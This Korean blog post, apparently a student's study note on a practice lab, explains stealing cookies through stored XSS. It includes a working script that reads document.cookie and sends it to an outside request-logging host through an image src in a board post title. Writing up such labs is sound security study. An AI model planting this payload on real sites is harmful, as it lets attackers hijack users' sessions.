XSS로 쿠키 탈취하기

이정민·2023년 12월 27일

웹 해킹 공부 정리

목록 보기
12/18

XSS 쿠키 탈취

이전에는 XSS로 단순히 alert(1)을 활용한 경고창만 띄웠었는데 이번에는 단순히 스크립트가 들어간다는 확인이 아니라 쿠키를 탈취해보겠습니다.
탈취는 노말틱 실습 페이지에 있는 것을 사용해 실습해보겠습니다.

원리 알아보기

실습해보기 전 일단 원리부터 알아보고 넘어가겠습니다.
해당 공격은 공격자에게 서버가 있다는 가정 하에 이뤄집니다.

스크립트 태그 안에 var 변수를 사용해 사용자의 쿠키를 가져오는 코드를 만듭니다.
그 후 이미지 태그를 생성하고, 해당 이미지에 src 태그를 사용해 위치를 지정해주는데, 이 때 지정해주는 주소에 가져온 쿠키가 들어있는 변수를 추가해주면 됩니다.
코드로 보면

<script>
var cookieData=document.cookie; 			/ 클라이언트의 쿠키를 변수에 저장
var i=new Image();							/ 이미지 태그 생성
i.src="http://공격자 서버 주소"+cookieData;   / 이미지 태그 주소에 공격자의 서버주소 파라미터에 쿠키값을 추가
</script>

이런 형식으로 만들어지는 것입니다.

이렇게 만들어진 글을 클릭하게 되면 스크립트가 발동되서 클라이언트는 이미지를 생성하려는 시도를 합니다. 이미지를 만들려면 적힌 주소를 참조해야 하는데, 이 주소에는 공격자 서버 주소에 쿠키값이 파라미터로 추가된 값을 참조합니다. 그러면 공격자 서버에서는 참조된 파라미터를 확인할 수 있어서 쿠키를 탈취할 수 있는 것입니다.

실습해보기

이제 실습을 통해서 알아보겠습니다.

해당 실습에서는 제 서버를 사용하지 않고, Requestbin이라는 사이트를 이용해보겠습니다.
https://public.requestbin.com/r/
해당 사이트는 들어오는 요청값에서 파라미터를 확인할 수 있는 사이트입니다.

스크립트 작동 확인

쿠키를 탈취하기 전에 일단 스크립트가 작동하는지부터 확인해보겠습니다.

우선 해당 실습 페이지는 게시판이 존재하며, 게시판에 특수문자를 넣었을 때,

이렇게 내용상으론 다를 게 없지만

게시글 본문 부분은 < > 부분이 HTML Entity 표현방식으로 치환되는 사이트입니다. 즉 게시글에 제목 부분에만 스크립트가 삽입이 가능한 경우라고 볼 수 있습니다.
여기에 스크립트가 삽입 되는지를 확인하겠습니다.

<script>
alert(1)
</script>


제목 부분을 해당 스크립트로 수정한 후 들어가보면

정상적으로 스크립트의 삽입이 가능한 것을 확인 가능합니다.

쿠키 탈취해보기

이제 위에 적힌 alert(1) 대신 쿠키 탈취를 위한 코드를 넣어서 클라이언트의 쿠키를 탈취해보겠습니다.

<script>
var cookieData=document.cookie;
var i=new Image();
i.src="https://enyyca32nbyn.x.pipedream.net/?cookie="+cookieData;
</script>

위 코드를 추가해서 쿠키를 탈취해보겠습니다.

해당 코드가 제목에 제대로 들어간 것을 확인했습니다.
url을 보내면 해당 주소로 방문해주는 실습 사이트가 있는데 해당 사이트를 통해 접속해보겠습니다.

방금 적힌 게시글의 주소를 적어주고 visit 버튼을 누르면

이번의 경우에는 실습 사이트기 때문에 flag가 나온 모습을 볼 수 있지만 실제 상황에서는 쿠키값이 나오는 모습을 볼 수 있습니다.

profile
공부중

0개의 댓글